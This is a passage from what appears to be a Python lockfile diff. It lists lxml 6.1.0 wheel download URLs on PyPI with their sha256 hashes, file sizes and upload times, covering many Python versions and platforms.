"https://files.pythonhosted.org/packages/02/05/d60c732b56da5085175c07c74b2df4e6d181b0c9a61e1691474f06ef4b39/lxml-6.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7", size = 4025114, upload-time = "2026-04-18T04:27:34.077Z" }, + { url = "https://files.pythonhosted.org/packages/c2/df/c84dcc175fd690823436d15b41cb920cd5ba5e14cd8bfb00949d5903b320/lxml-6.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39", size = 3667742, upload-time = "2026-04-18T04:27:38.45Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d4/9326838b59dc36dfae42eec9656b97520f9997eee1de47b8316aaeed169c/lxml-6.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d", size = 8570663, upload-time = "2026-04-18T04:27:48.253Z" }, + { url = "https://files.pythonhosted.org/packages/d8/a4/053745ce1f8303ccbb788b86c0db3a91b973675cefc42566a188637b7c40/lxml-6.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f0cea5b1d3e6e77d71bd2b9972eb2446221a69dc52bb0b9c3c6f6e5700592d93", size = 4624024, upload-time = "2026-04-18T04:27:52.594Z" }, + { url = "https://files.pythonhosted.org/packages/90/97/a517944b20f8fd0932ad2109482bee4e29fe721416387a363306667941f6/lxml-6.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d", size = 4930895, upload-time = "2026-04-18T04:32:56.29Z" }, + { url = "https://files.pythonhosted.org/packages/94/7c/e08a970727d556caa040a44773c7b7e3ad0f0d73dedc863543e9a8b931f2/lxml-6.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a", size = 5093820, upload-time = "2026-04-18T04:32:58.94Z" }, + { url = "https://files.pythonhosted.org/packages/88/ee/2a5c2aa2c32016a226ca25d3e1056a8102ea6e1fe308bf50213586635400/lxml-6.1.0-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105", size = 5005790, upload-time = "2026-04-18T04:33:01.272Z" }, + { url = "https://files.pythonhosted.org/packages/e3/38/a0db9be8f38ad6043ab9429487c128dd1d30f07956ef43040402f8da49e8/lxml-6.1.0-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485", size = 5630827, upload-time = "2026-04-18T04:33:04.036Z" }, + { url = "https://files.pythonhosted.org/packages/31/ba/3c13d3fc24b7cacf675f808a3a1baabf43a30d0cd24c98f94548e9aa58eb/lxml-6.1.0-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814", size = 5240445, upload-time = "2026-04-18T04:33:06.87Z" }, + { url = "https://files.pythonhosted.org/packages/55/ba/eeef4ccba09b2212fe239f46c1692a98db1878e0872ae320756488878a94/lxml-6.1.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32", size = 5350121, upload-time = "2026-04-18T04:33:09.365Z" }, + { url = "https://files.pythonhosted.org/packages/7e/01/1da87c7b587c38d0cbe77a01aae3b9c1c49ed47d76918ef3db8fc151b1ca/lxml-6.1.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad", size = 4694949, upload-time = "2026-04-18T04:33:11.628Z" }, + { url = "https://files.pythonhosted.org/packages/a1/88/7db0fe66d5aaf128443ee1623dec3db1576f3e4c17751ec0ef5866468590/lxml-6.1.0-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54", size = 5243901, upload-time = "2026-04-18T04:33:13.95Z" }, + { url = "https://files.pythonhosted.org/packages/00/a8/1346726af7d1f6fca1f11223ba34001462b0a3660416986d37641708d57c/lxml-6.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d", size = 5048054, upload-time = "2026-04-18T04:33:16.965Z" }, + { url = "https://files.pythonhosted.org/packages/2e/b7/85057012f035d1a0c87e02f8c723ca3c3e6e0728bcf4cb62080b21b1c1e3/lxml-6.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69", size = 4777324, upload-time = "2026-04-18T04:33:19.832Z" }, + { url = "https://files.pythonhosted.org/packages/75/6c/ad2f94a91073ef570f33718040e8e160d5fb93331cf1ab3ca1323f939e2d/lxml-6.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d", size = 5645702, upload-time = "2026-04-18T04:33:22.436Z" }, + { url = "https://files.pythonhosted.org/packages/3b/89/0bb6c0bd549c19004c60eea9dc554dd78fd647b72314ef25d460e0d208c6/lxml-6.1.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5", size = 5232901, upload-time = "2026-04-18T04:33:26.21Z" }, + { url = "https://files.pythonhosted.org/packages/a1/d9/d609a11fb567da9399f525193e2b49847b5a409cdebe737f06a8b7126bdc/lxml-6.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d", size = 5261333, upload-time = "2026-04-18T04:33:28.984Z" }, + { url = "https://files.pythonhosted.org/packages/a6/3a/ac3f99ec8ac93089e7dd556f279e0d14c24de0a74a507e143a2e4b496e7c/lxml-6.1.0-cp312-cp312-win32.whl", hash = "sha256:56971379bc5ee8037c5a0f09fa88f66cdb7d37c3e38af3e45cf539f41131ac1f", size = 3596289, upload-time = "2026-04-18T04:27:42.819Z" }, + { url = "https://files.pythonhosted.org/packages/f2/a7/0a915557538593cb1bbeedcd40e13c7a261822c26fecbbdb71dad0c2f540/lxml-6.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:bba078de0031c219e5dd06cf3e6bf8fb8e6e64a77819b358f53bb132e3e03366", size = 3997059, upload-time = "2026-04-18T04:27:46.764Z" }, + { url = "https://files.pythonhosted.org/packages/92/96/a5dc078cf0126fbfbc35611d77ecd5da80054b5893e28fb213a5613b9e1d/lxml-6.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3592631e652afa34999a088f98ba7dfc7d6aff0d535c410bea77a71743f3819", size = 3659552, upload-time = "2026-04-18T04:27:51.133Z" }, + { url = "https://files.pythonhosted.org/packages/08/03/69347590f1cf4a6d5a4944bb6099e6d37f334784f16062234e1f892fdb1d/lxml-6.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45", size = 8559689, upload-time = "2026-04-18T04:31:57.785Z" }, + { url = "https://files.pythonhosted.org/packages/3f/58/25e00bb40b185c974cfe156c110474d9a8a8390d5f7c92a4e328189bb60e/lxml-6.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fc7140d7a7386e6b545d41b7358f4d02b656d4053f5fa6859f92f4b9c2572c4d", size = 4617892, upload-time = "2026-04-18T04:32:01.78Z" }, + { url = "https://files.pythonhosted.org/packages/f5/54/92ad98a94ac318dc4f97aaac22ff8d1b94212b2ae8af5b6e9b354bf825f7/lxml-6.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2", size = 4923489, upload-time = "2026-04-18T04:33:31.401Z" }, + { url = "https://files.pythonhosted.org/packages/15/3b/a20aecfab42bdf4f9b390590d345857ad3ffd7c51988d1c89c53a0c73faf/lxml-6.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491", size = 5082162, upload-time = "2026-04-18T04:33:34.262Z" }, + { url = "https://files.pythonhosted.org/packages/45/26/2cdb3d281ac1bd175603e290cbe4bad6eff127c0f8de90bafd6f8548f0fd/lxml-6.1.0-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc", size = 4993247, upload-time = "2026-04-18T04:33:36.674Z" }, + { url = "https://files.pythonhosted.org/packages/f6/05/d735aef963740022a08185c84821f689fc903acb3d50326e6b1e9886cc22/lxml-6.1.0-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e", size = 5613042, upload-time = "2026-04-18T04:33:39.205Z" }, + { url = "https://files.pythonhosted.org/packages/ee/b8/ead7c10efff731738c72e59ed6eb5791854879fbed7ae98781a12006263a/lxml-6.1.0-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2", size = 5228304, upload-time = "2026-04-18T04:33:41.647Z" }, + { url = "https://files.pythonhosted.org/packages/6b/10/e9842d2ec322ea65f0a7270aa0315a53abed06058b88ef1b027f620e7a5f/lxml-6.1.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:4bd1bdb8a9e0e2dd229de19b5f8aebac80e916921b4b2c6ef8a52bc131d0c1f9", size = 5341578, upload-time = "2026-04-18T04:33:44.596Z" }, + { url = "https://files.pythonhosted.org/packages/89/54/40d9403d7c2775fa7301d3ddd3464689bfe9ba71acc17dfff777071b4fdc/lxml-6.1.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe", size = 4700209, upload-time = "2026-04-18T04:33:47.552Z" }, + { url = "https://files.pythonhosted.org/packages/85/b2/bbdcc2cf45dfc7dfffef4fd97e5c47b15919b6a365247d95d6f684ef5e82/lxml-6.1.0-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88", size = 5232365, upload-time = "2026-04-18T04:33:50.249Z" }, + { url = "https://files.pythonhosted.org/packages/48/5a/b06875665e53aaba7127611a7bed3b7b9658e20b22bc2dd217a0b7ab0091/lxml-6.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181", size = 5043654, upload-time = "2026-04-18T04:33:52.71Z" }, + { url = "https://files.pythonhosted.org/packages/e9/9c/e71a069d09641c1a7abeb30e693f828c7c90a41cbe3d650b2d734d876f85/lxml-6.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24", size = 4769326, upload-time = "2026-04-18T04:33:55.244Z" }, + { url = "https://files.pythonhosted.org/packages/cc/06/7a9cd84b3d4ed79adf35f874750abb697dec0b4a81a836037b36e47c091a/lxml-6.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e", size = 5635879, upload-time = "2026-04-18T04:33:58.509Z" }, + { url = "https://files.pythonhosted.org/packages/cc/f0/9d57916befc1e54c451712c7ee48e9e74e80ae4d03bdce49914e0aee42cd/lxml-6.1.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495", size = 5224048, upload-time = "2026-04-18T04:34:00.943Z" }, + { url = "https://files.pythonhosted.org/packages/99/75/90c4eefda0c08c92221fe0753db2d6699a4c628f76ff4465ec20dea84cc1/lxml-6.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33", size = 5250241, upload-time = "2026-04-18T04:34:03.365Z" }, + { url = "https://files.pythonhosted.org/packages/5e/73/16596f7e4e38fa33084b9ccbccc22a15f82a290a055126f2c1541236d2ff/lxml-6.1.0-cp313-cp313-win32.whl", hash = "sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62", size = 3596938, upload-time = "2026-04-18T04:31:56.206Z" }, + { url = "https://files.pythonhosted.org/packages/8e/63/981401c5680c1eb30893f00a19641ac80db5d1e7086c62cb4b13ed813038/lxml-6.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:4a1503c56e4e2b38dc76f2f2da7bae69670c0f1933e27cfa34b2fa5876410b16", size = 3995728, upload-time = "2026-04-18T04:31:58.763Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e8/c358a38ac3e541d16a1b527e4e9cb78c0419b0506a070ace11777e5e8404/lxml-6.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:e0af85773850417d994d019741239b901b22c6680206f46a34766926e466141d", size = 3658372, upload-time = "2026-04-18T04:32:03.629Z" }, + { url = "https://files.pythonhosted.org/packages/eb/45/cee4cf203ef0bab5c52afc118da61d6b460c928f2893d40023cfa27e0b80/lxml-6.1.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ab863fd37458fed6456525f297d21239d987800c46e67da5ef04fc6b3dd93ac8", size = 8576713, upload-time = "2026-04-18T04:32:06.831Z" }, + { url = "https://files.pythonhosted.org/packages/8a/a7/eda05babeb7e046839204eaf254cd4d7c9130ce2bbf0d9e90ea41af5654d/lxml-6.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6fd8b1df8254ff4fd93fd31da1fc15770bde23ac045be9bb1f87425702f61cc9", size = 4623874, upload-time = "2026-04-18T04:32:10.755Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e9/db5846de9b436b91890a62f29d80cd849ea17948a49bf532d5278ee69a9e/lxml-6.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:47024feaae386a92a146af0d2aeed65229bf6fff738e6a11dda6b0015fb8fd03", size = 4949535, upload-time = "2026-04-18T04:34:06.657Z" }, + { url = "https://files.pythonhosted.org/packages/5a/ba/0d3593373dcae1d68f40dc3c41a5a92f2544e68115eb2f62319a4c2a6500/lxml-6.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb", size = 5086881, upload-time = "2026-04-18T04:34:09.556Z" }, + { url = "https://files.pythonhosted.org/packages/43/76/759a7484539ad1af0d125a9afe9c3fb5f82a8779fd1f5f56319d9e4ea2fd/lxml-6.1.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97faa0860e13b05b15a51fb4986421ef7a30f0b3334061c416e0981e9450ca4c", size = 5031305, upload-time = "2026-04-18T04:34:12.336Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b9/c1f0daf981a11e47636126901fd4ab82429e18c57aeb0fc3ad2940b42d8b/lxml-6.1.0-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:972a6451204798675407beaad97b868d0c733d9a74dafefc63120b81b8c2de28", size = 5647522, upload-time = "2026-04-18T04:34:14.89Z" }, + { url = "https://files.pythonhosted.org/packages/31/e6/1f533dcd205275363d9ba3511bcec52fa2df86abf8abe6a5f2c599f0dc31/lxml-6.1.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086", size = 5239310, upload-time = "2026-04-18T04:34:17.652Z" }, + { url = "https://files.pythonhosted.org/packages/c3/8c/4175fb709c78a6e315ed814ed33be3defd8b8721067e70419a6cf6f971da/lxml-6.1.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:75c4c7c619a744f972f4451bf5adf6d0fb00992a1ffc9fd78e13b0bc817cc99f", size = 5350799, upload-time = "2026-04-18T04:34:20.529Z" }, + { url = "https://files.pythonhosted.org/packages/fd/77/6ffdebc5994975f0dde4acb59761902bd9d9bb84422b9a0bd239a7da9ca8/lxml-6.1.0-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292", size = 4697693, upload-time = "2026-04-18T04:34:23.541Z" }, + { url = "https://files.pythonhosted.org/packages/f8/f1/565f36bd5c73294602d48e04d23f81ff4c8736be6ba5e1d1ec670ac9be80/lxml-6.1.0-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77b9f99b17cbf14026d1e618035077060fc7195dd940d025149f3e2e830fbfcb", size = 5250708, upload-time = "2026-04-18T04:34:26.001Z" }, + { url = "https://files.pythonhosted.org/packages/5a/11/a68ab9dd18c5c499404deb4005f4bc4e0e88e5b72cd755ad96efec81d18d/lxml-6.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad", size = 5084737, upload-time = "2026-04-18T04:34:28.32Z" }, + { url = "https://files.pythonhosted.org/packages/ab/78/e8f41e2c74f4af564e6a0348aea69fb6daaefa64bc071ef469823d22cc18/lxml-6.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:73d658216fc173cf2c939e90e07b941c5e12736b0bf6a99e7af95459cfe8eabb", size = 4737817, upload-time = "2026-04-18T04:34:30.784Z" }, + { url = "https://files.pythonhosted.org/packages/06/2d/aa4e117aa2ce2f3b35d9ff246be74a2f8e853baba5d2a92c64744474603a/lxml-6.1.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ac4db068889f8772a4a698c5980ec302771bb545e10c4b095d4c8be26749616f", size = 5670753, upload-time = "2026-04-18T04:34:33.675Z" }, + { url = "https://files.pythonhosted.org/packages/08/f5/dd745d50c0409031dbfcc4881740542a01e54d6f0110bd420fa7782110b8/lxml-6.1.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43", size = 5238071, upload-time = "2026-04-18T04:34:36.12Z" }, + { url = "https://files.pythonhosted.org/packages/3e/74/ad424f36d0340a904665867dab310a3f1f4c96ff4039698de83b77f44c1f/lxml-6.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585", size = 5264319, upload-time = "2026-04-18T04:34:39.035Z" }, + { url = "https://files.pythonhosted.org/packages/53/36/a15d8b3514ec889bfd6aa3609107fcb6c9189f8dc347f1c0b81eded8d87c/lxml-6.1.0-cp314-cp314-win32.whl", hash = "sha256:ebe33f4ec1b2de38ceb225a1749a2965855bffeef435ba93cd2d5d540783bf2f", size = 3657139, upload-time = "2026-04-18T04:32:20.006Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a4/263ebb0710851a3c6c937180a9a86df1206fdfe53cc43005aa2237fd7736/lxml-6.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120", size = 4064195, upload-time = "2026-04-18T04:32:23.876Z" }, + { url = "https://files.pythonhosted.org/packages/80/68/2000f29d323b6c286de077ad20b429fc52272e44eae6d295467043e56012/lxml-6.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:8c8984e1d8c4b3949e419158fda14d921ff703a9ed8a47236c6eb7a2b6cb4946", size = 3741870, upload-time = "2026-04-18T04:32:27.922Z" }, + { url = "https://files.pythonhosted.org/packages/30/e9/21383c7c8d43799f0da90224c0d7c921870d476ec9b3e01e1b2c0b8237c5/lxml-6.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c", size = 8827548, upload-time = "2026-04-18T04:32:15.094Z" }, + { url = "https://files.pythonhosted.org/packages/a5/01/c6bc11cd587030dd4f719f65c5657960649fe3e19196c844c75bf32cd0d6/lxml-6.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:dabecc48db5f42ba348d1f5d5afdc54c6c4cc758e676926c7cd327045749517d", size = 4735866, upload-time = "2026-04-18T04:32:18.924Z" }, + { url = "https://files.pythonhosted.org/packages/f3/01/757132fff5f4acf25463b5298f1a46099f3a94480b806547b29ce5e385de/lxml-6.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e3dd5fe19c9e0ac818a9c7f132a5e43c1339ec1cbbfecb1a938bd3a47875b7c9", size = 4969476, upload-time = "2026-04-18T04:34:41.889Z" }, + { url = "https://files.pythonhosted.org/packages/fd/fb/1bc8b9d27ed64be7c8903db6c89e74dc8c2cd9ec630a7462e4654316dc5b/lxml-6.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9", size = 5103719, upload-time = "2026-04-18T04:34:44.797Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e7/5bf82fa28133536a54601aae633b14988e89ed61d4c1eb6b899b023233aa/lxml-6.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d27bbe326c6b539c64b42638b18bc6003a8d88f76213a97ac9ed4f885efeab7", size = 5027890, upload-time = "2026-04-18T04:34:47.634Z" }, + { url = "https://files.pythonhosted.org/packages/2d/20/e048db5d4b4ea0366648aa595f26bb764b2670903fc585b87436d0a5032c/lxml-6.1.0-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4e425db0c5445ef0ad56b0eec54f89b88b2d884656e536a90b2f52aecb4ca86", size = 5596008, upload-time = "2026-04-18T04:34:51.503Z" }, + { url = "https://files.pythonhosted.org/packages/9a/c2/d10807bc8da4824b39e5bd01b5d05c077b6fd01bd91584167edf6b269d22/lxml-6.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb", size = 5224451, upload-time = "2026-04-18T04:34:54.263Z" }, + { url = "https://files.pythonhosted.org/packages/3c/15/2ebea45bea427e7f0057e9ce7b2d62c5aba20c6b001cca89ed0aadb3ad41/lxml-6.1.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:c4a699432846df86cc3de502ee85f445ebad748a1c6021d445f3e514d2cd4b1c", size = 5312135, upload-time = "2026-04-18T04:34:56.818Z" }, + { url = "https://files.pythonhosted.org/packages/31/e2/87eeae151b0be2a308d49a7ec444ff3eb192b14251e62addb29d0bf3778f/lxml-6.1.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f", size = 4639126, upload-time = "2026-04-18T04:34:59.704Z" }, + { url = "https://files.pythonhosted.org/packages/a3/51/8a3f6a20902ad604dd746ec7b4000311b240d389dac5e9d95adefd349e0c/lxml-6.1.0-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773", size = 5232579, upload-time = "2026-04-18T04:35:02.658Z" }, + { url = "https://files.pythonhosted.org/packages/6d/d2/650d619bdbe048d2c3f2c31edb00e35670a5e2d65b4fe3b61bce37b19121/lxml-6.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b", size = 5084206, upload-time = "2026-04-18T04:35:05.175Z" }, + { url = "https://files.pythonhosted.org/packages/dd/8a/672ca1a3cbeabd1f511ca275a916c0514b747f4b85bdaae103b8fa92f307/lxml-6.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405", size = 4758906, upload-time = "2026-04-18T04:35:08.098Z" }, + { url = "https://files.pythonhosted.org/packages/be/f1/ef4b691da85c916cb2feb1eec7414f678162798ac85e042fa164419ac05c/lxml-6.1.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:be10838781cb3be19251e276910cd508fe127e27c3242e50521521a0f3781690", size = 5620553, upload-time = "2026-04-18T04:35:11.23Z" }, + { url = "https://files.pythonhosted.org/packages/59/17/94e81def74107809755ac2782fdad4404420f1c92ca83433d117a6d5acf0/lxml-6.1.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd", size = 5229458, upload-time = "2026-04-18T04:35:14.254Z" }, + { url = "https://files.pythonhosted.org/packages/21/55/c4be91b0f830a871fc1b0d730943d56013b683d4671d5198260e2eae722b/lxml-6.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180", size = 5247861, upload-time = "2026-04-18T04:35:17.006Z" }, + { url = "https://files.pythonhosted.org/packages/c2/ca/77123e4d77df3cb1e968ade7b1f808f5d3a5c1c96b18a33895397de292c1/lxml-6.1.0-cp314-cp314t-win32.whl", hash = "sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2", size = 3897377, upload-time = "2026-04-18T04:32:07.656Z" }, + { url = "https://files.pythonhosted.org/packages/64/ce/3554833989d074267c063209bae8b09815e5656456a2d332b947806b05ff/lxml-6.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:80410c3a7e3c617af04de17caa9f9f20adaa817093293d69eae7d7d0522836f5", size = 4392701, upload-time = "2026-04-18T04:32:12.113Z" }, + { url = "https://files.pythonhosted.org/packages/2b/a0/9b916c68c0e57752c07f8f64b30138d9d4059dbeb27b90274dedbea128ff/lxml-6.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac", size = 3817120, upload-time = "2026-04-18T04:32:15.803Z" }, + { url = "https://files.pythonhosted.org/packages/f2/88/55143966481409b1740a3ac669e611055f49efd68087a5ce41582325db3e/lxml-6.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:546b66c0dd1bb8d9fa89d7123e5fa19a8aff3a1f2141eb22df96112afb17b842", size = 3930134, upload-time = "2026-04-18T04:32:35.008Z" }, + { url = "https://files.pythonhosted.org/packages/b5/97/28b985c2983938d3cb696dd5501423afb90a8c3e869ef5d3c62569282c0f/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c", size = 4210749, upload-time = "2026-04-18T04:36:03.626Z" }, + { url = "https://files.pythonhosted.org/packages/29/67/dfab2b7d58214921935ccea7ce9b3df9b7d46f305d12f0f532ac7cf6b804/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de", size = 4318463, upload-time = "2026-04-18T04:36:06.309Z" }, + { url = "https://files.pythonhosted.org/packages/32/a2/4ac7eb32a4d997dd352c32c32399aae27b3f268d440e6f9cfa405b575d2f/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635", size = 4251124, upload-time = "2026-04-18T04:36:09.056Z" }, + { url = "https://files.pythonhosted.org/packages/33/ef/d6abd850bb4822f9b720cfe36b547a558e694881010ff7d012191e8769c6/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037", size = 4401758, upload-time = "2026-04-18T04:36:11.803Z" }, + { url = "https://files.pythonhosted.org/packages/40/44/3ee09a5b60cb44c4f2fbc1c9015cfd6ff5afc08f991cab295d3024dcbf2d/lxml-6.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = 